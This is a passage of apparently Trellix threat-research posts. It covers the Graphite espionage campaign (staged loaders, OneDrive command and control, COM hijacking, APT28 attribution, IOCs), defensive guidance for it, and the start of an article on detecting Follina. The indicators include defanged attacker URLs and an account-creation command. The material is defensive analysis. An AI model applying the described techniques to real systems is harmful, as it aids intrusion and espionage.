the CAB file used in the exploit mentioned before. You can see the identifying information of the file below:\n\nFile type | PE32 executable for MS Windows (DLL) (console) Intel 80386 32-bit \n---|--- \nFile name | fontsubc.dll \nFile size | 88.50 KB \nCompilation time | 28/09/2021 \nMD5 | 81de02d6e6fca8e16f2914ebd2176b78 \nSHA-256 | 1ee602e9b6e4e58dfff0fb8606a41336723169f8d6b4b1b433372bf6573baf40 \n \nThis file exports a function called \u201cCPlApplet\u201d that Windows recognizes as a control panel application. Primarily, this acts a downloader for the next stage malware which is located at hxxps://wordkeyvpload[.]net/keys/update[.]dat using COM Objects and the API \u201cURLOpenBlockingStreamW\u201d. \n\n **Figure 5. Download of next stage malware**\n\nAfter downloading the file, the malware will decrypt it with an embedded RSA Public Key and check its integrity calculating a SHA-256 of the decrypted payload. Lastly, the malware will allocate virtual memory, copy the payload to it and execute it.\n\n **Figure 6. Payload decryption and execution**\n\nBefore executing the downloaded payload, the malware will compare the first four bytes with the magic value DE 47 AC 45 in hexadecimal; if they are different, it won\u2019t execute the payload.\n\n **Figure 7. Malware magic value**\n\n#### Third Stage \u2013 Graphite Malware\n\nThe third stage is a DLL executable, never written to disk, named dfsvc.dll that we were able to extract from the memory of the previous stage. Below you can see the identifying information of the file:\n\nFile type | PE32 executable for MS Windows (DLL) (console) Intel 80386 32-bit \n---|--- \nFile name | dfsvc.dll \nFile size | 24.00 KB \nCompilation time | 20/09/2021 \nMD5 | 0ff09c344fc672880fdb03d429c7bda4 \nSHA-256 | f229a8eb6f5285a1762677c38175c71dead77768f6f5a6ebc320679068293231 \n \nWe named this malware Graphite due to the use of the Microsoft Graph API to use OneDrive as command and control. It is very likely that the developers of Graphite used the Empire OneDrive Stager as a reference due to the similarities of the functionality and the file structure used in the OneDrive account of the actors.\n\n **Figure 8. Empire OneDrive stager API requests**\n\nGraphite starts by creating a mutex with the hardcoded name \u201c250gHJAWUI289382s3h3Uasuh289di\u201d to avoid double executions, decrypt the strings and resolve dynamically the APIs it will use later. Moreover, it will calculate a bot identifier to identify the infected computer which is a CRC32 checksum of the value stored in the registry key \u201cHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\ Cryptography\\MachineGuid\u201d.\n\n **Figure 9. Graphite initializations**\n\nNext, the malware will create a thread to monitor the execution of tasks and upload its results to the OneDrive account. Result files will be uploaded to the \u201cupdate\u201d folder of the attackers\u2019 OneDrive account. \n\n **Figure 10. Thread to monitor task results**\n\nAfter that, the malware will enter into an infinite loop where every 20 minutes it will obtain a new OAuth2 token to use with the Microsoft Graph API requests and determine if there are new tasks to execute in the \u201ccheck\u201d folder of the attackers\u2019 OneDrive account. \n\n **Figure 11. Request of new OAuth2 token**\n\nOnce it obtained a valid OAuth2 token, reconnaissance data is gathered containing the following information from the victims\u2019 systems:\n\n * Running processes\n * .NET CLR version from PowerShell\n * Windows OS version\n\nThe data is compressed using the LZNT1 algorithm and encrypted with a hardcoded AES-256-CBC key with a random IV. The operator tasks are encoded in the same way. Finally, the file containing the system information is uploaded to the folder \u201c{BOT_ID}/update\u201d in OneDrive with a random name.\n\n **Figure 12. Graphite encoding data**\n\nGraphite will also query for new commands by enumerating the child files in the \"check\" subdirectory. If a new file is found, it will use the Graph API to download the content of the file and decrypt it. The decrypted tasks have two fields; the first one is a unique identifier of the task and the second one specifies the command to execute.\n\nThe command value \u201c1\u201d will instruct the malware to send the system information to the command and control again, which is the attackers\u2019 OneDrive. The command value \u201c2\u201d indicates that the decrypted task is a shellcode, and the malware will create a thread to execute it.\n\n **Figure 13. Graphite commands**\n\nIf the received task is a shellcode, it will check the third field with the magic value DE 47 AC 45 in hexadecimal and, if they are different, it won\u2019t execute the payload. The rest of the bytes of the task is the shellcode that will be executed. Lastly, the task files are deleted from the OneDrive after being processed.\n\n **Figure 14. Decrypted operator task**\n\nThe diagram below summarizes the flow of the Graphite malware.\n\n **Figure 15. Graphite execution diagram**\n\n#### Fourth Stage \u2013 Empire DLL Launcher Stager\n\nThe fourth stage is a dynamic library file named csiresources.dll that we were able to extract from a task from the previous stage. The file was embedded into a Graphite shellcode task used to reflectively load the executable into the memory of the process and execute it. Below you can see the identifying information of the file:\n\nFile type | PE32 executable for MS Windows (DLL) (console) Intel 80386 32-bit \n---|--- \nFile name | csiresources.dll \nFile size | 111.00 KB \nCompilation time | 21/09/2021 \nMD5 | 138122869fb47e3c1a0dfe66d4736f9b \nSHA-256 | 25765faedcfee59ce3f5eb3540d70f99f124af4942f24f0666c1374b01b24bd9 \n \nThe sample is a generated Empire DLL Launcher stager that will initialize and start the .NET CLR Runtime into an unmanaged process to execute a download-cradle to stage an Empire agent. With that, it is possible to run the Empire agent in a process that\u2019s not PowerShell.exe.\n\nFirst, the malware will check if the malware is executing from the explorer.exe process. If it is not, the malware will exit.\n\n **Figure 16. Process name check**\n\nNext, the malware will try to find the file \u201cEhStorShell.dll\u201d in the System32 folder and load it. With this, the malware makes sure that the original \u201cEhStorShell.dll\u201d file is loaded into the explorer.exe context.\n\n **Figure 17. Loading EhStorShell.dll library**\n\nThe previous operation is important because the follow-up malware will override the CLSID \u201c{D9144DCD-E998-4ECA-AB6A-DCD83CCBA16D}\u201d to gain persistence in the victims\u2019 system, performing a COM Hijacking technique. The aforementioned CLSID corresponds to the \u201cEnhanced Storage Shell Extension DLL\u201d and is handled by the file \u201cEhStorShell.dll\u201d.\n\nComing up next, the malware will load, initialize and start the .NET CLR Runtime, XOR decrypt the .NET next stage payload and load it into memory. Lastly, it will execute the file using the .NET Runtime.\n\n **Figure 18. Decryption of next stage malware**\n\n#### Fifth Stage \u2013 Empire PowerShell C# Stager\n\nThe fifth stage is a .NET executable named Service.exe which was embedded and encrypted in the previous stage. Below you can see the identifying information of the file:\n\nFile type | PE32 executable for MS Windows (console) Intel 80386 32-bit \n---|--- \nFile size | 34.00 KB \nMD5 | 3b27fe7b346e3dabd08e618c9674e007 \nSHA-256 | d5c81423a856e68ad5edaf410c5dfed783a0ea4770dbc8fb4943406c316a4317 \n \nThis sample is an Empire PowerShell C# Stager whose main goal is to create an instance of a PowerShell object, decrypt the embedded PowerShell script using XOR operations and decode it with Base64 before finally executing the payload with the Invoke function.\n\n **Figure 19. Fifth stage code**\n\nThe reason behind using a .NET executable to load and execute PowerShell code is to bypass security measures like AMSI, allowing execution from a process that shouldn\u2019t allow it.\n\n#### Sixth Stage \u2013 Empire HTTP PowerShell Stager\n\nThe last stage is a PowerShell script, specifically an Empire HTTP Stager, which was embedded and encrypted in the previous stage. Below you can see the identifying information of the file:\n\nFile type | Powershell script \n---|--- \nFile size | 6.00 KB \nMD5 | a81fab5cf0c2a1c66e50184c38283e0e \nSHA-256 | da5a03bd74a271e4c5ef75ccdd065afe9bd1af749dbcff36ec7ce58bf7a7db37 \n \nAs we mentioned earlier, this is the last stage of the multi-stage attack and is an HTTP stager highly obfuscated using the Invoke-Obfuscation script from Empire to make analysis difficult.\n\n **Figure 20. Obfuscated PowerShell script**\n\nThe main functionality of the script is to contact hxxp://wordkeyvpload[.]org/index[.]jsp to send the initial information about the system and connect to the URL hxxp://wordkeyvpload[.]org/index[.]php to download the encrypted Empire agent, decrypt it with AES-256 and execute it. \n\n#### Timeline of Events\n\nBased on all the activities monitored and analyzed, we provide the following timeline of events:\n\n **Figure 21. Timeline of the campaign**\n\n#### Targeting\n\nOne of the lure documents we mentioned before (named \u201cparliament_rew.xlsx\u201d) might have been aimed for targeting government employees.\n\nBesides targeting government entities, it appears this adversary also has its sights on the defense industry. Another document with the name \u201cMissions Budget.xlsx\u201d contained the text \u201cMilitary and civilian missions and operations\u201d and the budgets in dollars for the military operations in some countries for the years 2022 and 2023.\n\n **Figure 22. Lure document targeting the defense sector**\n\nMoreover, from our telemetry we also have observed that Poland and other Eastern European countries were of interest to the actors behind this campaign.\n\nThe complete victimology of the actors is unknown, but the lure documents we have seen show its activities are centered in specific regions and industries. Based on the names, the content of the malicious Excel files and our telemetry, targeting countries in Western Asia and Eastern Europe and the most prevalent industries are Defense and Government.\n\n#### Infrastructure\n\nThanks to the analysis of the full attack chain, two hosts related to the attack were identified. The first domain is wordkeyvpload.net which resolves to the IP 131.153.96.114, located in Serbia and registered on the 7th of July 2021 with OwnRegistrar Inc. \n\nQuerying the IP with a reverse DNS lookup tool, a PTR record was obtained resolving to the domain \u201cbwh7196.bitcoinwebhosting.net\u201d which could be an indication that the server was bought from the Bitcoin Web Hosting VPS reseller company.\n\n **Figure 23. Reverse DNS query**\n\nThe main functionality of this command-and-control server is to host the HTML exploit for CVE-2021-40444 and the CAB file containing the second stage DLL.\n\nThe second domain identified is wordkeyvpload.org which resolves to the IP 185.117.88.19, located in Sweden, and registered on the 18th of June 2021 with Namecheap Inc. Based on the operating system (Microsoft Windows Server 2008 R2), the HTTP server (Microsoft-IIS/7.5) and the open ports (1337 and 5000) it is very likely the host is running the latest version of the Empire post-exploitation framework.\n\nThe reason behind that hypothesis is that the default configuration of Empire servers uses port 1337 to host a RESTful API and port 5000 hosts a SocketIO interface to interact remotely with the server. Also, when deploying a HTTP Listener, the default value for the HTTP Server field is hardcoded to \u201cMicrosoft-IIS/7.5\u201d.\n\n **Figure 24. Local Empire server execution with default configuration**\n\nWith the aforementioned information, as well as the extraction of the command and control from the last stage of the malware, we can confirm that this host acts as an Empire server used to remotely control the agents installed in victims\u2019 machines and send commands to execute them.\n\n#### Attribution\n\nDuring the timeline of this operation there have been some political tensions around the Armenian and Azerbaijani border. Therefore, from a classic intelligence operation point of view, it would make complete sense to infiltrate and gather information to assess the risk and movements of the different parties involved. \n\nThroughout our research into the Graphite campaign, we extracted all timestamps of activity from the attackers from our telemetry and found two consistent trends. First, the activity days of the adversary are from Monday to Friday, as depicted in the image below:\n\n **Figure 25. Adversary\u2019s working days**\n\nSecond, the activity timestamps correspond to normal business hours (from 08h to 18h) in the GMT+3 time zone, which includes Moscow Time, Turkey Time, Arabia Standard Time and East Africa Time.\n\n **Figure 26. Adversary\u2019s working hours**\n\nAnother interesting discovery during the investigation was that the attackers were using the CLSID (D9144DCD-E998-4ECA-AB6A-DCD83CCBA16D) for persistence, which matched with an ESET report in which researchers mentioned a Russian Operation targeting Eastern European countries.\n\nAnalyzing and comparing code-blocks and sequences from the graphite malware with our database of samples, we discovered overlap with samples in 2018 being attributed to APT28. We compared for example our samples towards this one: 5bb9f53636efafdd30023d44be1be55bf7c7b7d5 (sha1):\n\n **Figure 27 Code comparison of samples**\n\nWhen we zoom in on some of the functions, we observe on the left side of the below picture the graphite sample and on the right the forementioned 2018 sample. With almost three years in time difference, it makes sense that code is changed, but still it looks like the programmer was happy with some of the previous functions:\n\n **Figure 28 Similar function flow**\n\nAlthough we mentioned some tactics, techniques and procedures (TTPs) of the actors behind this campaign, we simply do not have enough context, similarities or overlap to point us with low/moderate confidence towards APT28, let alone a nation-state sponsor. However, we believe we are dealing with a skilled actor based on how the infrastructure, malware coding and operation was setup. \n\n#### Conclusion\n\nThe analysis of the campaign described in this blog post allowed us to gather insights into a multi-staged attack performed in early October, leveraging the MSHTML remote code execution vulnerability (CVE-2021-40444) to target countries in Eastern Europe. \n\nAs seen in the analysis of the Graphite malware, one quite innovative functionality is the use of the OneDrive service as a Command and Control through querying the Microsoft Graph API with a hardcoded token in the malware. This type of communication allows the malware to go unnoticed in the victims\u2019 systems since it will only connect to legitimate Microsoft domains and won\u2019t show any suspicious network traffic.\n\nThanks to the analysis of the full attack process, we were able to identify new infrastructure acting as command and control from the actors and the final payload, which is an agent from the post-exploitation framework Empire. All the above allowed us to construct a timeline of the activity observed in the campaign.\n\nThe actors behind the attack seem very advanced based on the targeting, the malware and the infrastructure used in the operation, so we presume that the main goal of this campaign is espionage. With a low and moderate confidence, we believe this operation was executed by APT28. To further investigate, we provided some tactics, techniques and procedures (TTPs), indicators on the infrastructure, targeting and capabilities to detect this campaign.\n\n#### MITRE ATT&CK Techniques\n\nTactic | Technique ID | Technique Title | Observable | IOCs \n---|---|---|---|--- \nResource Development | T1583.001 | Acquire Infrastructure: Domains | Attackers purchased domains to be used as a command and control. | wordkeyvpload[.]net \nwordkeyvpload[.]org \nResource Development | T1587.001 | Develop capabilities: Malware | Attackers built malicious components to conduct their attack. | Graphite malware \nResource Development | T1588.002 | Develop capabilities: Tool | Attackers employed red teaming tools to conduct their attack. | Empire \nInitial Access | T1566.001 | Phishing: Spear phishing Attachment | Adversaries sent spear phishing emails with a malicious attachment to gain access to victim systems. | BM-D(2021)0247.xlsx \nExecution | T1203 | Exploitation for Client Execution | Adversaries exploited a vulnerability in Microsoft Office to execute code. | CVE-2021-40444 \nExecution | T1059.001 | Command and Scripting Interpreter: PowerShell | Adversaries abused PowerShell for execution of the Empire stager. | Empire Powershell stager \nPersistence | T1546.015 | Event Triggered Execution: Component Object Model Hijacking | Adversaries established persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. | CLSID: D9144DCD-E998-4ECA-AB6A-DCD83CCBA16D \nPersistence | T1136.001 | Create Account: Local Account | Adversaries created a local account to maintain access to victim systems. | net user /add user1 \nDefense Evasion | T1620 | Reflective Code Loading | Adversaries reflectively loaded code into a process to conceal the execution of malicious payloads. | Empire DLL Launcher stager \nCommand and Control | T1104 | Multi-Stage Channels | Adversaries created multiple stages to obfuscate the command-and-control channel and to make detection more difficult. | Use of different Empire stagers \nCommand and Control | T1102.002 | Web Service: Bidirectional Communication | Adversaries used an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. | Microsoft OneDrive \nEmpire Server \nCommand and Control | T1573.001 | Encrypted Channel: Symmetric Cryptography | Adversaries employed a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. | AES 256 \nCommand and Control | T1573.002 | Encrypted Channel: Asymmetric Cryptography | Adversaries employed a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. | RSA \n \n#### Indicators of Compromise (IOCs)\n\n##### First stage \u2013 Excel Downloaders\n\n40d56f10a54bd8031191638e7df74753315e76f198192b6e3965d182136fc2fa \nf007020c74daa0645b181b7b604181613b68d195bd585afd71c3cd5160fb8fc4 \n7bd11553409d635fe8ad72c5d1c56f77b6be55f1ace4f77f42f6bfb4408f4b3a \n9052568af4c2e9935c837c9bdcffc79183862df083b58aae167a480bd3892ad0 \n\n\n##### Second stage \u2013 Downloader DLL\n\n1ee602e9b6e4e58dfff0fb8606a41336723169f8d6b4b1b433372bf6573baf40 \n\n\n##### Third stage \u2013 Graphite\n\n35f2a4d11264e7729eaf7a7e002de0799d0981057187793c0ba93f636126135f \nf229a8eb6f5285a1762677c38175c71dead77768f6f5a6ebc320679068293231 \n\n\n##### Fourth stage \u2013 DLL Launcher Stager\n\n25765faedcfee59ce3f5eb3540d70f99f124af4942f24f0666c1374b01b24bd9 \n\n\n##### Fifth stage \u2013 PowerShell C# Stager\n\nd5c81423a856e68ad5edaf410c5dfed783a0ea4770dbc8fb4943406c316a4317 \n\n\n##### Sixth stage \u2013 Empire HTTP Powershell Stager\n\nda5a03bd74a271e4c5ef75ccdd065afe9bd1af749dbcff36ec7ce58bf7a7db37 \n\n\n##### URLs\n\nhxxps://wordkeyvpload[.]net/keys/Missions Budget Lb.xls \nhxxps://wordkeyvpload[.]net/keys/parliament_rew.xls \nhxxps://wordkeyvpload[.]net/keys/Missions Budget.xls \nhxxps://wordkeyvpload[.]net/keys/TR_comparison.xls \n\n\nhxxps://wordkeyvpload[.]net/keys/JjnJq3.html \nhxxps://wordkeyvpload[.]net/keys/iz7hfD.html \nhxxps://wordkeyvpload[.]net/keys/Ari2Rc.html \nhxxps://wordkeyvpload[.]net/keys/OD4cNq.html \n\n\nhxxps://wordkeyvpload[.]net/keys/0YOL4.cab \nhxxps://wordkeyvpload[.]net/keys/whmel.cab \nhxxps://wordkeyvpload[.]net/keys/UdOpQ.cab \nhxxps://wordkeyvpload[.]net/keys/D9V5E.cab \n\n\nhxxps://wordkeyvpload[.]net/keys/update.dat \n\n\nhxxps://wordkeyvpload[.]org/index.jsp \nhxxps://wordkeyvpload[.]org/index.php \nhxxps://wordkeyvpload[.]org/news.php \nhxxps://wordkeyvpload[.]org/admin/get.php \nhxxps://wordkeyvpload[.]org/login/process.php \n\n\n##### Domains\n\nwordkeyvpload[.]net \nwordkeyvpload[.]org \njimbeam[.]live \n\n\n##### IPs\n\n131.153.96[.]114 \n185.117.88[.]19 \n94.140.112[.]178 \n\n", "cvss3": {}, "published": "2022-01-25T00:00:00", "type": "trellix", "title": "Prime Minister\u2019s Office Compromised: Details of Recent Espionage Campaign", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-40444"], "modified": "2022-01-25T00:00:00", "id": "TRELLIX:6949BCDE9887B6759BD81365E21DD71C", "href": "https://www.trellix.com/content/mainsite/en-us/about/newsroom/stories/research/prime-ministers-office-compromised.html", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2022-06-20T00:00:00", "description": "\n\n# Trellix Global Defenders: Defending against Cyber Espionage Campaigns \u2013 Operation Graphite\n\nBy Ben Marandel, **Arnab Roy** \u00b7 June 20, 2022\n\nCyber Espionage campaigns by nature are targeted attacks that can go undetected for prolonged periods of time. Cyber Espionage campaigns often involve adversaries with clear objectives with capabilities to avoid defenses and leverage trusted enterprise IT systems or operational weaknesses within organisations. Some of the key targets for espionage campaigns are as follows:\n\n Figure 1: Cyber Espionage Key Targets \n\n\nThe ultimate goal of most cyber espionage campaigns are data exfiltration and wide spread reconasaince.\n\n## Operation graphite introduction \n\nTrellix Advanced Threat Research team released threat research on the 25th of January 2022 which highlighted discovery of a new espionage campaign targeting high-ranking government officials Western Asia and Eastern Europe. The attack is believed to have been triggered via targeted phishing with malicious macro enabled word document used to establish the initial access. Once executed the malicious document leveraged a vulnerability in Excel (CVE2021-40444) which allows remote code execution on the impacted endpoint. Similar to other espionage campaigns their was hands on recon of the targeted organization, specifically looking for documents with specific keywords of interest. This was followed by multi-stage attack which included lateral movement to other systems of interest such as domain controllers and file servers. The following figure shows the attack progression:\n\n Figure 2: Attack Chain \n\n\nLike most multi-stage attacks a combination of exploitation techniques are observed such as use of LolBas/LolBins like Powershell and exploitation of enterprise architecture and system vulnerabilities.\n\nDuring our analysis of the overall flow of the attack and the related payloads the following attributes of the attack stood out that could be critical at detecting/preventing this threat:\n\n 1. Use of OneDrive as a command a control server as well as for storing payload configuration and staging. Their is evidence that the OneDrive Implant module of the empire framework was used by the threat actor which has been documented by the [empire framework maintainers](<https://www.bc-security.org/post/using-the-onedrive-listener-in-empire-3-1-3/>). This was used specifically to subvert network security controls and hide traffic inside legitimate applications. \n 2. Use of embedded XLS into XLSX to bypass macro execution protection added in Office Excel. The XLS file is used as a secondary payload which is exploiting the CVE-2021-40444, this is not the first file to be open by the victim. To maximize the chances of execution of the exploitable XLS document the attacker uses dynamic loading of the office ribbon and custom options in the office toolbar by using a XLSM file, this XLSM file then dynamically loads the XLS file which triggers the execution of CVE-2021-40444.\n\nBased on the observed TTP\u2019s and operational similarity Trellix Threat research team was moderately confident that this attack could be attributed to APT 28.\n\n## Defensive architecture guidance\n\nThe question is how do we protect ourselves from such attacks? At the heart of the answer is building an effective threat model for cyber espionage campaigns and then driving your defensive strategy based on \u201cthink red - act blue mindset\u201d where the threat informed layered defensive strategy drives how the security controls are configured to provide a resilient defensive architecture. Below is how the Trellix XDR solution architecture protects and detects this attack.\n\n Figure 3: Trellix Solution Architecture \n\n\nOrganizations can build an effective threat model based on adversary characteristics some of which is very well documented within the MITRE ATT&CK framework. Leveraging tools like MITRE ATT&CK navigator is one of the methods where you can combine multiple threat actor TTP\u2019s and create an effective threat model for your SOC, an example below for TTP\u2019s used by APT 28:\n\n**Common techniques used for Cyber Espionage - using ATT&CK**\n\n Figure 4: MITRE ATT&CK Navigator for APT28 \n\n\nHowever, for customers who have Trellix Insights this process is even simpler: By filtering the Profiles to APT28, you will get a complete overview of the APT28 Group activities. As an introduction the tool will give you a short description of the group and their current targeted countries / sectors. \n\n Figure 5: APT28 Group Overview from MVISION Insights \n\n\nJust after this introduction, you will get overview of the 42+ campaign currently observed by the Trellix Labs. This view also indicates which endpoints within your organization may have insufficient coverage to protect themselves. By clicking on the name of the campaign, you will pivot to the full details of the selected campaign.\n\n Figure 6: Examples of APT28 related campaigns from MVISION Insights \n\n\nThe third section of the interface, describes the MITRE Techniques of Tools used by APT28 group. Once C2 communications is established, researchers established the use of \u201cFiles and Directory Discovery \u2013 T1083\u201d technique for Discovery and \u201cData Transfer Size Limits \u2013 T1030\u201d technique for Exfiltration.\n\nThis group also uses tools such as Mimikatz to simplify Credential Access via LSASS Memory \u2013 T1003.001, Certutil to download third-party tools or X-Tunnel for Exfiltration over Asymmetric Encrypted Non-C2 Protocols \u2013 T1048.002. \n\n Figure 7: MITRE Techniques used by the APT28 Group from MVISION Insights \n\n\nAnd finally, based on all those information, the interface builds for you the powerful ATT&CK Matrix with a clear representation of the observed techniques.\n\n Figure 8: APT28 Group MITRE ATT&CK matrix from MVISION Insights \n\n\n**Endpoint Protection Actions:** Trellix Endpoint uses exploit prevention to block execution of CVE-2021-40444 as well as use behavioral threat protection via Adaptive Threat Prevention module. Specifically, Advanced Behavior Blocking (ABB) rules stop the execution of child processes from office processes thus breaking the kill chain early in the attack lifecycle. The following rules in Trellix ENS Exploit Prevention and Adaptive Threat Protection (ATP) are recommended to observe or block behavioral activity associated with exploitation techniques.\n\n**ENS Exploit Prevention Signature 6163:** T1055: Suspicious Behavior: Malicious Shell Injection Detected\n\n**ENS Exploit Prevention Signature 6115:** T1055: Fileless Threat: Reflective DLL Remote Injection\n\n**ENS ATP Rule 300:** T1566: Prevent office applications from launching child processes that can execute script commands \n\nTo complement protection capabilities, Trellix EDR solution detects and visualizes the attack chain, as illustrated bellow at the \u201cInitial Access\u201d when the victim is opening for the first time the specifically crafted XLSX file.\n\nIn this screenshot of a demo sample illustrating Office Excel, you can observe the download of the XLS file natively through an HTTPS connection, after it has opened the XLSX file.\n\n Figure 9: Excel.exe opening an XLSX file and then downloading an XLS file, captured by MVISION EDR \n\n\n**Preventing Data Exfiltration:** Preventing the attempts to exfiltrate data can defeat this type of attack at an early stage. The threat actor uses two key techniques for data exfiltration: exfiltration over existing network protocols and endpoint data reconnaissance techniques. The exfiltration over the existing network protocol leverages the Microsoft Graph API utilized by O365 suite of apps to communicate between various O365 services. The graph API has been a target of previous APT campaigns as it provides a unique insight into existing enterprise data sitting inside O365. One of the key ways this attack can be completely defeated is by ensuring users cannot login to non-sanctioned O365 tenants. This is possible by leveraging a URL content proxy that inspects the O365 instance id in the login URL of the tenant and subsequent communication. The proxy can be configured to only allow the organizational tenant id of the enterprise O365 instance and not that of other O365 tenants. This will prevent the threat actor from succeeding in establishing the initial command and control connection as well as data exfiltration. Deploying endpoint DLP is the second critical factor in preventing the data exfiltration of sensitive information leaving organizational perimeter. This includes getting visibility into endpoint processes accessing sensitive/tagged data.\n\n**Bringing Visibility into the SOC with XDR:** Detecting multi-vector telemetry requires context and correlation across multiple data sources so that the right alerts and telemetry is presented to the SOC analyst for effective triage, scoping of the threat and effective incident response.\n\n Figure 10: Example XDR Correlation with multi-vector sensor telemetry from Threat Intelligence, Endpoint, DLP \n\n\n**Integrated sandbox for malware analysis:** As part of the Trellix solution architecture, the endpoints are capable of sending files dynamically or through integrated SOAR workflows to the Trellix Detection on Demand Cloud Sandbox. A quick analysis of the XLSX document reveals that pseudo data was used entice the end user into opening the document.\n\n Figure 11: Trellix DOD Analysis \n\n\n## Summary\n\nDefeating a multi-stage cyberespionage campaign requires a multipronged defensive strategy that starts by building an effective threat model leading to prioritization and deployment of highest impact preventive controls which leads to a security model that stalls the attackers progress and delivering enterprise resilience to cyberespionage campaigns. Some of the key steps in building such resilience is as follows:\n\n Figure 12: Cyber Espionage Playbook \n\n\nFor additional details and understanding, you can view our Threat Center webinar with Trellix Solution Architects explaining how we defend against this attack [here](<https://www.mcafee.com/enterprise/en-us/forms/gated-form.html?docID=video-6305609522112&eid=P5SWSAQK>).\n", "cvss3": {}, "published": "2022-06-20T00:00:00", "type": "trellix", "title": "Trellix Global Defenders: Defending against Cyber Espionage Campaigns \u2013 Operation Graphite", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-40444"], "modified": "2022-06-20T00:00:00", "id": "TRELLIX:0BACBA94111E0C364A9A1CCD8BD263DE", "href": "https://www.trellix.com/content/mainsite/en-us/about/newsroom/stories/research/defending-against-cyber-espionage-campaigns-operation-graphite.html", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2022-07-19T00:00:00", "description": "# Countering Follina Attack (CVE- 2022-30190) with Trellix Network Security Platform\u2019s Advanced Detection Features\n\nBy Vinay Kumar and Chintan Shah \u00b7 July 19, 2022\n\n## Executive summary\n\nDuring the end of May 2022, independent security researcher reported a vulnerability (assigned CVE-2022-30190) in Microsoft Support Diagnostic Tool (MSDT), which could be exploited to execute arbitrary code when MSDT is called using URI protocol. The URI protocol **ms-msdt:/** could also be invoked from the malicious word document, which when opened by the victim, would allow malicious code to execute on the target machine with the privileges of the calling application. In response to the reported vulnerability, Microsoft released [the advisory and guidance](<https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/>) on disabling the MSDT URI protocol. Subsequently, the vulnerability, was patched in the [June security updates](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190>) released by Microsoft. Since then, this vulnerability has been found to be exploited by multiple state actors in [targeted attack campaigns](<https://www.bleepingcomputer.com/news/security/windows-msdt-zero-day-now-exploited-by-chinese-apt-hackers/>).\n\nAt Trellix, we are committed to protecting our customers from upcoming and emerging threats on the network inclusive of those that are found being exploited in the wild. Trellix Network Security Platform\u2019s (Trellix NSP) Intrusion Prevention Research Team strives to build advanced detection features , improving product\u2019s overall Threat Detection capabilities.\n\nOver the next few sections of this blog, we will highlight couple of advanced detection features in Trellix NSP, which helps in protecting the customers against this and future attacks of similar nature.\n\n## Introduction \n\nMS Word document exploiting Microsoft Support Diagnostic Tool vulnerability ( CVE- 2022-30190 ) was first found to be [submitted to VT](<https://www.virustotal.com/gui/file/4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784/>) on 27th May 2022 from Belarus with the file name **05-2022-0438.doc**. However, the number 0438 turns out to be the Area code of the region **Follina** in Italy and hence the name. Exploit document is not found to be connected to Italy in any way.\n\n Figure 1: Sample submission history on VirusTotal \n\n\nThere is no dearth of instances where one of the MS Office\u2019s core features, Object Linking and Embedding ( OLE ) have been abused as an initial attack vector and CVE-2022-30190 was no different. This was yet another classic example of chaining OLE with another logic flaw to achieve arbitrary code execution on the target machine. Traditionally, Object Linking and Embedding had significantly contributed to building weaponized office exploits, and we believe this will continue to happen. As with previous CVE-2021-40444 and many other exploits, OLE was found to be used for linking the document to the externally hosted object, in this case, html file. \n\n[MS Office Open XML specifications](<https://www.ecma-international.org/publications-and-standards/standards/ecma-376/>) mentions that an Office Open XML document facilitates embedding objects or link to external objects which can be specified via relationships. Any embedded or linked object specified in the container application ( OOXML document in this case ) must be identified by its unique **ProgID** string. As per the specifications, this string must be used to determine the type and the application used to load the object data. An excerpt from the document specifications is as shown below:\n\n Figure 2: Specs on Embedded objects \n\n\nAs documented in the [ISO-29500-4 specifications](<https://standards.iso.org/ittf/PubliclyAvailableStandards/c071692_ISO_IEC_29500-4_2016.zip>) ST_OLEType defines the type of the OLE object in **document.xml**, either linked or embedded and the **ProgID=\u201dhtmlfile\u201d** indicates the type of linked object data. As shown in the CVE-2022-30190 exploit document below, **document.xml.rels** file with Type attribute specifying relationship as \u201coleObject\u201d, **Target** attribute set to the OLE object link and **TargetMode** set as external. This allows the crafted document to link to the externally hosted potentially malicious object and invoke the respective protocol handlers for rendering the object which could lead to the exploitation of potential logic flaws in object renderers.\n\n Figure 3: Structure of exploit document \n\n\nAs we notice the document.xml.rels file, it contains an external reference to the malicious domain for retrieving the html file :\n\n**hxxps://www.xmlformats.com/office/word/2022/wordprocessingDrawing/RDF842l.html!**. Hosted html file on this domain contains script block with commented lines. This is required for making the HTML file sufficiently sized ( precisely greater than 4KB ) to be able to get it processed and rendered by mshtml.dll. \n\n Figure 4: downloaded html file from server \n\n\nSubsequently, script tries to invoke PCWDiagnostic package using MSDT URI protocol handler with multiple arguments out of which one argument is IT_BrowseForFile which can take embedded PowerShell script within $( ) as an argument , resulting into code execution. PowerShell script is Base64 encoded and decoded form is of the script is as shown below. \n\n Figure 5: Decoded PowerShell script \n\n\nAs we see in the decoded payload, the script is intended to run the malicious rgb.exe on the target system. Summarizing the sequence involved in the attack:\n\n * Malicious MS office document with linked object is delivered to the victim possibly, as a part of phishing campaign.\n * On clicking the document, malicious HTML script is rendered, leading to arbitrary code execution on the affected system. \n\nWindows system registers innumerable number of URI protocol handlers which could be potentially abused to exploit similar flaws. For instance, [search-ms](<https://docs.microsoft.com/en-us/windows/win32/search/getting-started-with-parameter-value-arguments>) URI protocol handler , used to query windows search indexing feature can be abused by the attackers to connect to the remote SMB share on the attacker-controlled server. However, it does not directly lead to code execution as it requires multiple levels of user interaction, but a query can be crafted to lure the users to execute legitimate looking executables as shown below. Both these of URI protocol attacks were first [reported here](<https://benjamin-altpeter.de/shell-openexternal-dangers/>).\n\n Figure 6: search-ms query to connect to remote location \n\n\n**How Trellix NSP protects against Follina**\n\nTrellix NSP has been one of the most advance and mature IPS in the security industry. Over a period, we developed some of the cutting-edge features to deal with complex attack scenarios which involved handling encoding, compressions, and complex file formats. **Microsoft Office Deep File Inspection** and **Multi Attack ID Correlation** being some of these. We use combination of these advance capabilities to detect entire attack cycle. In the following sections, we will try to understand how 